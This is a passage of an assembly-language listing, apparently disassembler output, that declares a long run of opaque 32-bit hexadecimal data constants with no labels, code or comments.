		dd 809F0290h, 9C88D632h, 396FCB74h, 7FA9DC2Bh, 5B97063Ch
		dd 28A079F7h, 0CE07C92Eh, 0BE55DE0Fh, 94CA597Eh, 69E1C13Bh
		dd 0E0A4D8CAh, 0A37F037Eh, 2705224Bh, 0A7AF53F1h, 0FEB28D6Fh
		dd 9685A0E5h, 5DAFB07Fh, 8A88EC73h, 7F154F5Dh, 0FF88C7A1h
		dd 0B2607BFDh, 82B70633h, 0B691AF5h, 5DF97CBAh,	6E7BD299h
		dd 44D14ACEh, 842F6487h, 0AA82CC04h, 46E25570h,	0CC2FB42Dh
		dd 178AF474h, 0E5ADBBE2h, 11631EBh, 1D81A012h, 0BC0AC1B1h
		dd 0D74F3B0h, 8F60460h,	6B36F9EAh, 0EB9B2D5Dh, 1093F573h
		dd 4B1308DEh, 9F67B3C3h, 3AB7F199h, 0FCCC37D0h,	0EFF1AC79h
		dd 94A09F7h, 25AC972Dh,	1E103028h, 0B31DD218h, 437F2CEFh
		dd 1E7871B4h, 0A6A48BF5h, 3FD2F6C5h, 0E621FBE7h, 1BDA4CBDh
		dd 0B2F72BCBh, 84DB818Dh, 0EE91693Ch, 0BD64DE1Ch, 19D85784h
		dd 0A9773B65h, 82BC9590h, 14580451h, 4350C1Fh, 54E6B678h
		dd 4F52B114h, 6392DB93h, 3B66B149h, 1A2D4077h, 284FCB56h
		dd 3329CC2Ch, 0A139CE61h, 0A3641F59h, 785EDAF9h, 16D28C54h
		dd 379F2A90h, 0D23561F9h, 8E59BDE6h, 9FFFD0ADh,	0C2B69E94h
		dd 43E3AD5Ch, 0C9393388h, 0A7709A6Bh, 98957B9Bh, 0DF2ABFC1h
		dd 0A1FED5BBh, 191EFE70h, 748FAC9Bh, 362F9DF2h,	8CDBFE1Dh
		dd 3F8D9B73h, 626B8448h, 92F21775h, 1A004FE9h, 0D310329Dh
		dd 860A7F92h, 1CC5A9D4h, 0AB238C10h, 97688D94h,	69ED6D61h
		dd 0D6C2BF8Ah, 2519CA47h, 48546145h, 0BB1C6E0Ah, 0BFBE8F6Eh
		dd 0D5336929h, 31BC758Dh, 7520E693h, 6481115Dh,	1DA7F574h
		dd 90D7F74Bh, 8227561Bh, 0C7A5E9Ch, 757E8817h, 0BB0C9E72h
		dd 45FDB75Ch, 0EEA3C8D6h, 2F0D5A98h, 0A8CF1502h, 0E7ACB2CFh
		dd 0FEE15174h, 6E1D95DDh, 4F74435Eh, 0CC759835h, 2DC98EB8h
		dd 0DE0CC2E3h, 1D27BC95h, 163E5E07h, 7C8084D8h,	468CC7D0h
		dd 2C99BDAAh, 29118FF5h, 44650B73h, 1CEA921Dh, 13C37BC3h
		dd 93A820F2h, 69F09F81h, 3E859DE1h, 0EFDD232Bh,	0BABBB5EDh
		dd 0D75B3AB1h, 0CC968E06h, 0AC135EAEh, 0C157B993h, 3D175535h
		dd 0C3659E15h, 28982326h, 6E4C3AC5h, 2B75DAE3h,	81DE024Eh
		dd 0FD26B33Ah, 65541CD8h, 405DD431h, 0CD3D9668h, 5D65645h
		dd 41D51935h, 4852F488h, 362C75A2h, 5A3C0FD8h, 6C1BEDACh
		dd 2FEB5647h, 88E53C42h, 2AB7AD97h, 7D3BEE72h, 8FCBEF7Dh
		dd 1C73FFBEh, 19785D47h, 32FD313h, 3F3EA529h, 18188BA5h
		dd 26F1A776h, 0CB99B609h, 0E396958Ah, 0A094DF7Ah, 786A0EF5h
		dd 97666662h, 58077FDh,	1CD4EE74h, 0C52C5927h, 62F2B937h
		dd 753455D1h, 0AAE270C9h, 156520C7h, 0FDA02F1Dh, 483FF0BDh
		dd 22187580h, 2B81406Fh, 0C16E459Dh, 0E0FE828Ch, 245D4440h
		dd 0EC2C7F02h, 7FBA6978h, 0A544DF89h, 7867DCA9h, 6639C2Dh
		dd 176947E0h, 9E50CB61h, 0CC495CABh, 0C7CC8A23h, 0C674DF68h
		dd 0DC7722F4h, 0AEC44825h, 54E004E5h, 89955095h, 10EAB9A9h
		dd 18D71F19h, 0EF4C9261h, 0DAB96F72h, 0AA24EE7Ah, 6366838Bh
		dd 25B275B0h, 316350FEh, 0A4D1E519h, 4EC9F7A9h,	2B193D7Ch
		dd 0B6D6F772h, 0D9C608D4h, 0E8B3CDC7h, 49F78498h, 104916D6h
		dd 13CB16F9h, 7CCABFB0h, 0B556C6C4h, 7E031CCCh,	4C18B77Fh
		dd 5D7E1972h, 1DB565DDh, 6E8E1648h, 0E0DF6AA2h,	1DDEA7A9h
		dd 88B71BC9h, 181A83CCh, 688BC27Ch, 6E1EA0A8h, 0A9CA64A5h
		dd 3A51003Dh, 0F12B6C79h
		dd 7055742Eh, 9B9C5A54h, 7BAF42FCh, 9C0554ABh, 6536D0Ch
		dd 0DBE15711h, 0B361317Dh, 0C97E9101h, 0ECF7A967h, 0B8DD957h
		dd 0D1C5F3E3h, 4AE6A9C5h, 0BB5D8485h, 90937F3Ah, 5710DC1Dh
		dd 5F9F9DC8h, 0EBDB60ABh, 9E5053A1h, 9FC50594h,	9E91B8E7h
		dd 31167F3Dh, 75E29842h, 4BBF09F2h, 53E46E6Fh, 5688C87Eh
		dd 0A0E04CA7h, 749A56EDh, 33F9F617h, 0CAD403DFh, 7EA22504h
		dd 68D17C68h, 3839D525h, 4C8B90C2h, 0A095F798h,	6003EBACh
		dd 1685FEA0h, 20F3E203h, 95695AFFh, 0A5A8E771h,	0EC3F2D01h
		dd 2059ADE4h, 456E1413h, 48D046B2h, 0FFB6497Fh,	8F8A7499h
		dd 0A313E06Bh, 0B1E4D03Eh, 18DE3762h, 0E1690AB3h, 0BA2D5C83h
		dd 96956931h, 0E82AF0Fh, 0BA5B9A39h, 0B1ADCF97h, 0F2DE1A21h
		dd 0B38D5581h, 0D0EA6136h, 88E5FB36h, 0D262C28h, 630F1172h
		dd 80611047h, 0FE3AC0B7h, 0AF2D3FE9h, 0FEB0B195h, 855A238Ah
		dd 60EE4FC5h, 0F4890AB6h, 6EF95D82h, 69C4C11h, 0FD89BB09h
		dd 660D1414h, 0B1053ACCh, 78990E8Ch, 899CD5h, 68236369h
		dd 6BB48182h, 0BC506AF4h, 99E1362Eh, 7FFA5322h,	97A3589Ah
		dd 189BED11h, 0AE3FFADDh, 0BB8A273Fh, 0E2C0E044h, 31D4D3C8h
		dd 6C9E6756h, 4B55A75Eh, 578D030Eh, 0E4BFBC6Fh,	65B86AA8h
		dd 0C5117E3Ch, 0AFAFCB4Eh, 3285E7ABh, 59F1F420h, 883F2202h
		dd 95B234E4h, 0C85CE06Ah, 0BF4D2C98h, 736D4173h, 0C072E47Dh
		dd 3896B8A4h, 0D12F64A4h, 2EF5CBD7h, 979D771Ch,	672C3326h
		dd 1489AA8Ch, 0A5828148h, 9D097AD3h, 0F8A46E6Eh, 0AEAA820Ah
		dd 46A985B5h, 0C210C27Ch, 25B61D15h, 0F3968F12h, 8C2D0621h
		dd 0CB49A50Fh, 0DC8BD8EAh, 9FE42C50h, 899EFEFh,	41AC480Fh
		dd 547C071Ah, 0C2CD8C83h, 25FCDACCh, 19DFC769h,	5B1E571Ch
		dd 0ECB0AFCCh, 4EBC0F0Eh, 38BDF21Dh, 81ED6680h,	0B77AF595h
		dd 6BA4C71Ch, 0EA0AC41Bh, 94B0F9FDh, 41F0B82Bh,	707B3608h
		dd 19007648h, 22C5B8EEh, 0E08208DBh, 9B13C076h,	0CCC1B8D7h
		dd 79E9DB34h, 4C4752EAh, 20D2C24Ch, 9FBB7149h, 1931B738h
		dd 4F81CD82h, 0E38D7702h, 0F0ACF1E6h, 0C6A89F9Eh, 11D4EA6Ah
		dd 357C6DBFh, 4A0AF946h, 3B07B70h, 30150208h, 0E5121F9Fh
		dd 0C9C32213h, 31147B1Bh, 0D11FB466h, 258A4BF1h, 942041CCh
		dd 0D4EFC518h, 1B37626h, 0C1319DF5h, 212FD47Dh,	2958E937h
		dd 7D650BBEh, 0D9AB13E7h, 0A89ABE20h, 0EBC0CB47h, 0AFC4BEA5h
		dd 0FC49E168h, 26F5D76Fh, 0BE38EF7Fh, 7A6D4649h, 0AAC1545Dh
		dd 0D414B799h, 0C3829C55h, 0ABF2EBD5h, 420EE2E8h, 0A65182F2h
		dd 0CA94D521h, 7B7DB948h, 8D7B7395h, 94EAE3A2h,	0E7CC9202h
		dd 3B7B3470h, 0C73C239Dh, 7E94BE33h, 0F978FAC5h, 626D238h
		dd 304FE761h, 851AD5F3h, 5BABDCADh, 7AA91CBFh, 0B532EA95h
		dd 0DE834226h, 2AE6E783h, 22CB33EBh, 27C45D0Ah,	0D15208BFh
		dd 0EF2BEC76h, 0F19C7DFh, 1F69A55Ch, 399EF67Ah,	8BE0BDFAh
		dd 0ED17C9BFh, 70CA8B7Ah, 753E0558h, 0C1B19631h, 9A031B12h
		dd 78E9C6CFh, 90852EEAh, 0C14C0E8Ah, 267061E5h,	123F4C8Fh
		dd 0CF40C502h, 0C29D6680h, 40C8886Dh, 9DE3DFB5h, 36511E32h
		dd 34C9FFD1h, 34958359h, 0B5DBC007h, 68DB49D9h,	0C2031F1Bh
		dd 0E9F32D4Ch, 19A64D6Bh, 148DDEAEh, 1FCFB4B1h,	25738CDDh
		dd 6A681702h, 1A5030E5h, 877E60B5h, 6D1644DDh, 9B670530h
		dd 5410BAB0h, 0CFBE923Bh, 8E1F4142h, 0C07BE4BCh, 0F4CDBBDFh
		dd 0F64FD1C1h, 0A4164DB4h, 106C055Dh, 8E7513Dh,	2D94A3DBh
		dd 3EE24090h, 0F6E9F6BAh, 5B005C92h, 0D3347CE0h, 0FAFE9F19h
		dd 8BFB0290h, 9D05865Ah, 564C23FCh, 5700DD92h, 3991EA5Bh
		dd 0DE6EC5DAh, 6484E3ABh, 0EA61549Fh, 564416D8h, 18E423F6h
		dd 22D8A328h, 0A6D18811h, 0A268FCC6h, 3CAD7BE9h, 3D7384E9h
		dd 0E5E988E7h, 45408795h, 765BBC58h, 0C2FBF7F2h, 0D700474Eh
		dd 32874A91h, 16B746C5h, 0F353736Ah, 706E33D6h,	0C330C7B0h
		dd 8625F405h, 9A6DBD72h, 0C696F5Fh, 245489C2h, 398B3074h
		dd 0F2CF7EDEh, 636A718Fh, 89FE42B1h, 5ADD0309h,	438150B3h
		dd 73EE7F43h, 4D1C577Ah, 0D2F99001h, 5616DBCEh,	0AF055D2h
		dd 802FB17Ah, 33473FE5h, 989710FFh, 0A4DF3360h,	199E24F0h
		dd 0C3B97184h, 6B58A381h, 7CE9668Bh, 50E061C0h,	6A36BA8Bh
		dd 7EFF56C0h, 0E6727303h, 3F190838h, 8C093147h,	12AFD4BBh
		dd 0E1970B01h, 243CE6F7h, 0BFD947F0h, 88B84DECh, 0FD2A1E8Eh
		dd 1A40EA8h, 0EE631D96h, 3C6BC5Ch, 0DF627BDh, 13BE26DEh
		dd 0D299F1E5h, 112C0EE4h, 1D2F48EBh, 0D1490CE7h, 0ACEAAF38h
		dd 7C5588E4h, 585DEFB6h, 4C1E14E9h, 474A48E0h, 0D527B96Fh
		dd 964BE949h, 9EC65468h, 0A99969EFh, 8A053C2Ah,	4A5D4914h
		dd 0D672E2A6h, 3DC62C44h, 38CEC390h, 0B41F3E44h, 9BD3DC0Eh
		dd 4E395978h, 0E7945507h, 0AC026E4Dh, 2818E46Bh, 0D3A63CB9h
		dd 79B18915h, 1E5AF31h,	385143AAh, 0EE0F0878h, 0C88B18Fh
		dd 461CA8E9h, 2C85FBF7h, 7E4DE65Bh, 216A3085h, 30EF86A4h
		dd 33377BB3h, 38A1FBEh,	6A47DDB5h, 0B2C3C12Fh, 99D6D5Ah
		dd 0BA6C8946h, 0C8AFF54Ch, 0ECA11800h, 0AB619D34h, 81816EFDh
		dd 647E52AFh, 0C84AF229h, 435F0C6Eh, 7C724BAAh,	0B87FCAC8h
		dd 27386368h, 0A294C41Ah, 0FDF16687h, 8FA965A3h, 56B59A9Fh
		dd 975F67D3h, 8B1F22Ah,	385FCA52h, 1B41C3E6h, 7C7F010Eh
		dd 0FF57A105h, 3EA1B79Fh, 25AF71D5h, 720678AAh,	89CF932h
		dd 772A182Fh, 0A842EF2Bh, 0CD069DA2h, 0C8E8674Dh, 0AFC24ED8h
		dd 573E2600h, 0CF107F44h, 9ABE3427h, 0B75E994Eh, 18802EB7h
		dd 16933138h, 0EC9E4FE2h, 63298B8Bh, 0F5947477h, 0C888D49Ch
		dd 0B9F4910h, 667FFD6Dh, 3A3F38C4h, 0ED278303h,	38BF9920h
		dd 91617021h, 0E53428EAh, 965F9CD6h, 19FE9F8Fh,	2630EA11h
		dd 33F3668Ah, 4B23CD84h, 0FEE80125h, 75CB6EDBh,	7F1054FCh
		dd 592E55B3h, 5D6FD733h, 0C18D2EA8h, 0BE679849h, 2F4F6BACh
		dd 0DFA9290Bh, 53953626h, 0B91BDD1Dh, 77F96D46h, 0FA0C3BBEh
		dd 43325B87h, 5DA34283h, 7E4EA820h, 14D4264h, 53AB57E8h
		dd 0F51DDE06h, 2C719090h, 0F6BF2E32h, 38B13A49h, 0B90460A8h
		dd 29176AE8h, 728C1421h, 44097CF1h, 387308B3h, 0DDA6D8F0h
		dd 4B6026F0h, 0EDA9844Bh, 8CC6D0E7h, 34656963h,	30EA47DCh
		dd 0EE5FB1B1h, 5C27AD45h, 5D84C21Bh, 90F55579h,	0BAA2E430h
		dd 0F1A45D0Ch, 7F6F2A3Fh, 1186701Ch, 0CC31C8C6h, 3CB9CFBBh
		dd 0BBD8BDE9h, 67C82853h, 2E419916h, 6965799Bh,	0C08C7E13h
		dd 0D9BB97F9h, 96C7D62h, 43ABCE04h, 0AF2BE00Fh,	0BEE0D512h
		dd 44B1F592h, 0D40F3376h, 0F6F89401h, 270C799h,	0D2DCD9B0h
		dd 963A96F2h, 0C13B8E27h, 25EEF19Dh, 715D92C2h,	14A0E8B5h
		dd 29B238AAh, 0B1CE7DD8h, 3A04E760h, 0EEFA7501h, 0B78BC8E7h
		dd 0D4A30D65h, 81CE026Eh, 0F0DB18B2h, 9E69FE60h, 0A9257AA4h
		dd 0E144F1BAh, 0ABF72D0Dh, 0BA29046Eh, 2CFB1598h, 0B841AE24h
		dd 0AE8D2EE4h, 0B8671BDAh, 8C8DEBA0h, 0F95E234Eh, 1B053AACh
		dd 802079EFh, 2AB994E4h, 0ADE451DEh, 34B253Fh, 0C2A5E11Eh
		dd 66996E35h, 0D15531AEh, 478FD263h, 0D85EF41Dh, 9848CA4Bh
		dd 58797AC4h, 9A311305h, 0BD9BA66Bh, 0C6712E22h, 161B95CFh
		dd 4435EB11h, 4204A75Eh, 4B1F49AAh, 25995653h, 6BD1829Ch
		dd 0D60A6B42h, 0CEA1B1E2h
		dd 0E0958697h, 0DEBC5048h, 35CE4327h, 2A5C65B0h, 72ECB619h
		dd 57D90585h, 5F4055D1h, 9662A942h, 310079h, 676D679Eh
		dd 1E3ECE83h, 20CCE104h, 7AF9D660h, 5645DEFh, 0C4518961h
		dd 9C1B8DDFh, 1F84BBEDh, 0AC413A2Ch, 0C79CC3C4h, 399312C1h
		dd 0DBDC2CADh, 942EEEA2h, 0C6667247h, 7A7E763Eh, 32B7F57Bh
		dd 20150625h, 486D4538h, 7BEC04EEh, 48CFAB82h, 0B59A3805h
		dd 75311918h, 27FBC59Dh, 0D018BBF2h, 8FC3C69Ah,	16181C63h
		dd 17A5F150h, 6649BCD7h, 8AF65476h, 0FAAEECAFh,	0B2134809h
		dd 0AEF43B83h, 9A960F41h, 0FA0249F4h, 0E57FCA6Ah, 8A980AFCh
		dd 0FA5B40C3h, 6D1D064Dh, 7ED00C80h, 11707A6Ah,	7E58C12Bh
		dd 0E55FA17Ah, 92BF3513h, 1A07ECCEh, 0A898523Dh, 0E4AF23F2h
		dd 0BC43EB2Dh, 7ACCDE9Bh, 98713C2Ch, 936C0097h,	7E033A23h
		dd 0F4662DBCh, 0BAD865E2h, 0FE4BDEB0h, 5E9B0693h, 0B56CD9E9h
		dd 0C40D5F75h, 0FF158915h, 171D942Bh, 0A5BC4125h, 1837B464h
		dd 6E51EC64h, 6817ADE1h, 4D47409Fh, 27CBF718h, 76EE7099h
		dd 445509D2h, 1294D94Fh, 0FBF55602h, 0A92CAC72h, 8EB5FC5Ch
		dd 99E21BBh, 3CB70D8Eh,	0D656ED7Fh, 234115CCh, 0C13E0869h
		dd 651E449Dh, 0C5D4EAAAh, 96802843h, 6A8C5855h,	0D0A00050h
		dd 3DD893A7h, 359CE56Bh, 0D4CF6180h, 0A39FF450h, 8526C28Dh
		dd 0D37194B8h, 0AE06D15h, 457E43BDh, 1CBC8F29h,	0D2053836h
		dd 0F322A765h, 1C62F136h, 0F5899BCEh, 0E7FA192Bh, 0DC2D6A77h
		dd 0CFEA0663h, 5F3ACA75h, 8C97CB5Ch, 0FE8B9EC1h, 63540C46h
		dd 0C823CF3Eh, 0E3E3297Fh, 0F300904h, 214DB6D9h, 192B9528h
		dd 0E9CA28B9h, 2B9695FEh, 43D7FA15h, 28D2E2B8h,	0B0FA924Fh
		dd 37393605h, 0D34E315Bh, 3664F764h, 6DB191ECh,	0B8A56D6h
		dd 9B581F1Bh, 0BB6971E1h, 650CCD15h, 0E6D482CFh, 0C13C6478h
		dd 470AF76Dh, 9B1A9F83h, 586B342Eh, 9C696A5Bh, 24916E38h
		dd 5B7E18DFh, 4FAF7D22h, 1CC0EB27h, 0ACE8BAF1h,	65F92814h
		dd 3542816Ah, 551F6BF4h, 4C668539h, 0FA6824E0h,	0CFCA7BDCh
		dd 0F199BD1Fh, 44C9CEF4h, 75649C2Dh, 0E38DD5A4h, 1573FCF7h
		dd 0AF298E3Ah, 68225FCCh, 7106DB02h, 7E6DBF8Ah,	3C6B232Ch
		dd 0F2582CD0h, 0ABE0F99h, 0EE078356h, 0B87A360Eh, 20FDAF91h
		dd 660B3B86h, 4A73F34Ch, 6C5A89B9h, 34584DC9h, 40325FDEh
		dd 0E6B69AC4h, 994616A4h, 0CA2AA748h, 719F3B37h, 25ACA5F5h
		dd 4D253AE0h, 4850FF17h, 0BEED0396h, 0E1332684h, 9713E4D3h
		dd 8764A7Fh, 0B95C515Fh, 0BD26F779h, 4C5A6044h,	0CB9161CFh
		dd 492BCC67h, 0F07B6402h, 81B7BC2Ch, 0B47A5D45h, 28E8460h
		dd 0BB6474CFh, 0CAD0DFFCh, 1FA2650Eh, 0D6DCA655h, 210F9E38h
		dd 81F8F4BBh, 1780B86Bh, 0BD25BF2Bh, 0C0EA424Eh, 0F8AA825Ah
		dd 0A1B2A8BBh, 0BD942077h, 5D6FEF59h, 5DB3E513h, 38AF416Fh
		dd 70FA8C67h, 3F8F9353h, 465B8389h, 17597B6Fh, 4B1185E6h
		dd 0FEC6D1Ch, 0BE2FD8EFh, 900AA936h, 0AEA85CBBh, 282D6E9Fh
		dd 0B043B452h, 6BC351EFh, 837E40C5h, 5D929E68h,	71B55B6Ah
		dd 0E36A7C34h, 0D7F23A4Fh, 0D8BE3CD9h, 0C382287Fh, 2F9D0B28h
		dd 8CA95138h, 0EA684113h, 0B060DF0h, 0FE9F8D39h, 0DCB20D37h
		dd 8C614DDAh, 9C65B6FDh, 9F642085h, 0F2C10B8Eh,	82B8EB53h
		dd 8E85B9BEh, 1D1A3397h, 1E415451h, 1683B6A6h, 41E600ACh
		dd 85B5C7C5h, 98F40F56h, 6984829Ch, 7B9B5154h, 0B1F52958h
		dd 6C2E9ADEh, 2BB9A505h, 0E09BF2E5h, 372DFFE6h,	0B322CD9Eh
		dd 0F4ABEEF5h, 8E7D645Bh, 0F19D171h, 0F9A6F3E3h, 5980F6AAh
		dd 5EBF5DA7h, 3DC00EF5h, 25033464h, 0B566ECA5h,	0DD38FFCFh
		dd 1EF32AE0h, 0D18A4D41h, 3033E704h, 5E11CC20h,	0D776DE94h
		dd 0A4A3AE85h, 71CCE2Eh, 0EA301309h, 0ACFDCB02h, 0EC99A2B6h
		dd 0FB24BA77h, 1ED9D82Ch, 0E4097C59h, 67769313h, 0B71E1656h
		dd 6C5DD6CFh, 878DE71Ch, 0DC74B73Bh, 14EFE565h,	57CA0601h
		dd 0DA84BC5Ah, 41917074h, 2F079D4Fh, 0F3C843FAh, 80995825h
		dd 787B0CB5h, 0F83C7486h, 8910D11h, 0F01FFE84h,	1CB9E809h
		dd 0DB7D228Ah, 4130940Dh, 0DF2C6E0Fh, 6A2132FEh, 670CE404h
		dd 0B376F563h, 0BEA5D18Bh, 906D729Ah, 3404383Fh, 2A0DEE3Bh
		dd 0CB6B034Fh, 0E3617238h, 33A9AA34h, 74EF58Fh,	4E8FF1C4h
		dd 65F7D65Ah, 0B1C83E8Fh, 0B5BF6F08h, 748AA2ADh, 0A6419675h
		dd 0C04E36BBh, 0AB9C9261h, 0D0D725Eh, 0F92D2B7Bh, 0DD228743h
		dd 9023DFE0h, 0CF92FF5Eh, 442822E9h, 0E0AF8590h, 87664C62h
		dd 6809A967h, 4A9F6138h, 0A191EB5h, 0F8BB2956h,	0AE648362h
		dd 983F9FF0h, 6275DB92h, 5CF601CEh, 0C5C00B32h,	279B0709h
		dd 0DFF9EAC5h, 0B8216411h, 0B5456F20h, 0D60EFBFEh, 0E85A231Ch
		dd 0E3167BE7h, 0B44558E4h, 0AB0C016Dh, 0EFDB7C30h, 9A72E538h
		dd 9D437CFCh, 0B5B1D7E9h, 305CC313h, 212D6D33h,	0C82CC15Dh
		dd 0C4A88FA2h, 0D4F76722h, 508C5F35h, 16FE1C2h,	0F7567451h
		dd 2D8D1691h, 917BCCF8h, 0FB8B3C03h, 4540C391h,	0FA458A90h
		dd 2234B740h, 0D40AFA22h, 0F607DAB1h, 0EFB1A1D6h, 1E0B9F9Dh
		dd 0BD9F264Dh, 35C6E63h, 7FE771A6h, 3B2DD6FEh, 3DAE72F1h
		dd 0A9F1BDFCh, 0BC96AFE0h, 0DB77093Eh, 0A9A4E7DFh, 5C3884EFh
		dd 8C8F7B10h, 4046A0A1h, 5842A711h, 0EB821716h,	1923134Dh
		dd 0AC49E983h, 86665E60h, 9DD83B7Bh, 0C21610EEh, 52D67EFCh
		dd 5300DA8Bh, 0E9E7D267h, 8AFD071h, 5411062Ah, 0F3ECF795h
		dd 0C5D469B7h, 0DA9C82E2h, 0A5897B01h, 6141D981h, 7B2E070Eh
		dd 883DA928h, 5F8D40D7h, 0B0058614h, 278E1085h,	0BBCFFF6Ah
		dd 154940FAh, 5C30A627h, 96F865A3h, 4C9C2F62h, 5D6FEFEh
		dd 26D1C680h, 44A1E817h, 41119DCh, 0B14C756Bh, 770A54B1h
		dd 0AFC7E6Bh, 691B0071h, 5C820905h, 5D8AFD95h, 0B4D64D7Ch
		dd 57F55E49h, 0BF79ED79h, 9BC9F7Ch, 54CC5F80h, 3B1DBF70h
		dd 0C57CDC8Ah, 3C18F948h, 439677FDh, 45D19E0Fh,	0FFA07973h
		dd 0F05589CAh, 90459F88h, 0E26954A4h, 0F8B7D06Bh, 5EEC814h
		dd 9630560Fh, 7F9F95C2h, 87C9829Eh, 0D38E6C12h,	0B435661Dh
		dd 66B8B968h, 517178BBh, 0D2EC06B5h, 38636525h,	69378BDAh
		dd 4BC2EE78h, 0CD58591h, 25ED1DD9h, 638436DAh, 0BA1160BCh
		dd 9B065h, 71AD27F4h, 807F0E74h, 0BA9C008Eh, 8F4C6567h
		dd 7C0D57F7h, 0B1607C0Ah, 783B913Fh, 8B71C894h,	0B5D1C4C9h
		dd 0F1DBE3BBh, 0F88FC118h, 84CE1D3Ah, 42A93FB4h, 0E8B4D4CDh
		dd 0AD9C291Fh, 0F2506DCFh, 1F25E809h, 736CE42Fh, 0D62CE9DCh
		dd 2956C7A9h, 0DDF06314h, 0E8274545h, 571C310Ch, 0C8669D3Fh
		dd 0F284206Fh, 0A4C10D32h, 3A729EAEh, 0B1AB0384h, 0F539B9B5h
		dd 0BF77714Fh, 46641FABh, 0BF8D11C0h, 47ED87BDh, 87DEC1B7h
		dd 558B8598h, 3C62188Bh, 5A30E699h, 1EC8AFE9h, 0D79156B9h
		dd 0F931F846h, 0EC3673C3h, 6122CB20h, 3DB3E0C8h, 0F26CA0CFh
		dd 889E044Bh, 67CD529Fh, 90CB94EDh, 3B39E392h, 0D5CBAA8Dh
		dd 0E08E5AD8h, 0B7E18EE2h, 78B23259h, 0BF1D8F44h, 27A5309Dh
		dd 44446A70h, 540C098Eh, 0FF1823CDh, 5724CD13h,	0F5999Bh
		dd 1DF1BC88h, 6F62804Fh, 14776A5Dh, 94BE082h, 4499E8AFh
		dd 49607CE6h, 0C3997483h, 0F1D94FEAh, 866DC6DEh, 0AC178585h
		dd 7D4F0D04h, 0B0B9D479h, 0E12683A1h, 0EDB8EA58h, 27DB6F47h
		dd 0F5B88510h, 2000856Ch
		dd 2AEAA009h, 11DC41AAh, 0CF5F7C39h, 9B49DA46h,	0C5577776h
		dd 949F9907h, 0F7C818A2h, 974C0095h, 3D54B4E1h,	0F62E986Eh
		dd 0CEA12A1Bh, 8F0030D0h, 3BC15B55h, 9E6C1F3h, 5A2070B5h
		dd 1A86E284h, 60AA6720h, 0AA4B6094h, 6195404Ah,	0BBF804D3h
		dd 45515A3Ch, 622C5A32h, 288C5FFDh, 0B78DA13Fh,	3494E204h
		dd 1A620173h, 787874Ah,	6D805011h, 436E8736h, 5E2A254Dh
		dd 79CA787h, 0DD98F580h, 18051EF0h, 0B99E5C62h,	0E38B039Ah
		dd 207E9B8Eh, 0F2FE1EDCh, 0C9417F2h, 0B37286F3h, 0CAFF61DBh
		dd 0A9BC103Bh, 0A6823716h, 0A5B0E507h, 0FCCA5C13h, 0A53EF8B1h
		dd 0A226BC73h, 49363FF1h, 592B04EBh, 31DAE8A0h,	0FFD5E9FEh
		dd 0E3C91FDh, 13AB2B4Ah, 9EDDEEB9h, 33428320h, 5605E0FFh
		dd 0AC20BABAh, 54C59624h, 221F0D30h, 14C5BE75h,	8BA7038Ch
		dd 0DDEEBF9Dh, 0A00CF557h, 0F397F0B4h, 0E543CF76h, 6AE5743Ch
		dd 0C6F8CE20h, 0A7F3250Dh, 483BAAEBh, 0DC22C082h, 5CCDE10Eh
		dd 6A0D57E7h, 1D7412BFh, 99A55A29h, 0DAD275EDh,	29C929h
		dd 3E9ADCCEh, 0BB81FACDh, 3823BB1h, 49795E20h, 0B41EAA17h
		dd 38D01BF7h, 0B1DB4DCCh, 5CA4302Eh, 0D5E3E75Eh, 23820ED7h
		dd 8C8FE082h, 6D4AD121h, 4657DED5h, 0EA499639h,	72B39802h
		dd 39251A8Ah, 914ADC0Fh, 2738CCDEh, 0B944592Eh,	0F9183E25h
		dd 58DD9C3Ah, 0C880614h, 6DB81848h, 60E19A35h, 17AA2A33h
		dd 8D070F2Dh, 0A0C7118h, 6054416Bh, 4440B04Bh, 641F0448h
		dd 57726B9Ah, 2FFF5FA6h, 3BB0EA6h, 0C74423EAh, 0BAE6AEEFh
		dd 9DF7CABEh, 985CBECAh, 6F510A4h, 6A520519h, 0E1731A8Dh
		dd 0E0E25811h, 8F8244CFh, 0B6CAECE7h, 0A3C9CBE9h, 0AE39A336h
		dd 7B557CEBh, 0C572F795h, 743F13EBh, 0F33CC570h, 35360871h
		dd 62F851ACh, 8CA8609Dh, 0C9A86CF4h, 3A65E400h,	0AF74165Dh
		dd 712325CCh, 0EF352BDEh, 0CDFB47FFh, 844F1E10h, 0A1F2D8B8h
		dd 3E95FB67h, 1EC2E09Fh, 7704462Ah, 22E4E169h, 3C051057h
		dd 0EA687FB7h, 25ADCBFAh, 0FA66DFh, 8A4C82F5h, 743F7D2Ah
		dd 1CFE7B80h, 8D2E734Dh, 93697AFDh, 0EBCB51h, 0CD7E8B46h
		dd 87C6EF3Bh, 725933A4h, 45F115B3h, 3560C4C7h, 0F1A72C6Fh
		dd 74780B73h, 3D013C69h, 0C5609D46h, 2F01F8E1h,	45FA2EF0h
		dd 0DB2BF33Ah, 0B90E8D9Dh, 0D6A5B181h, 0B56C8497h, 1DD5E86h
		dd 801A3486h, 4A193FF1h, 3EA64216h, 2357F542h, 7D127DBEh
		dd 7F275F0Fh, 3FF21080h, 836C1D9Eh, 0F9BDD379h,	82D17E0Dh
		dd 7CC35481h, 0DA38C456h, 0EB1DA473h, 0E724C12Ah, 6162E772h
		dd 199D6204h, 7B0AACBFh, 47B8EB67h, 0EF3D20C2h,	0F930D26Fh
		dd 54B87469h, 1D1EF703h, 8D5AB2F0h, 4928E251h, 7D14250Eh
		dd 4E28A615h, 398C02CEh, 7D6E1DD1h, 29ADB5C1h, 0E8664D5Eh
		dd 0FB2A7C31h, 6924F55Ch, 4A07F4FFh, 6BEBD4B1h,	1ECF73AAh
		dd 0A65854ECh, 38BBDB39h, 0A652A54Ch, 0A2182335h, 41410696h
		dd 7EF68C2h, 8F310913h,	748F6607h, 0DCAFAA69h, 0ED011815h
		dd 2350D81Bh, 0C9E249B3h, 408A23DDh, 0E19C58A7h, 59284469h
		dd 595C7E46h, 4E2A30C1h, 75A377E9h, 88A7DBC1h, 15A2CA55h
		dd 97B37703h, 0FA4EA960h, 1EF0D128h, 250DFA50h,	9FB25506h
		dd 0E279F28Fh, 494C0977h, 41C68839h, 0E6B5624Ch, 3739F3C1h
		dd 0E4472C4Eh, 665F7ACh, 6E56E97h, 338DA906h, 7ECCCCAAh
		dd 0E5742978h, 30AA07A8h, 0B4AE054Eh, 718F7E14h, 47F845A2h
		dd 517F7FC2h, 0ED6B28DEh, 290400A9h, 0E7258C3Dh, 96018C38h
		dd 9A3C09E5h, 0A5BA478Ch, 9CF23244h, 0C752F8BFh, 45875FF0h
		dd 0F7A7B87Bh, 0C7F1664Ch, 498B473Bh, 0CCCE3ECEh, 0EEBE1974h
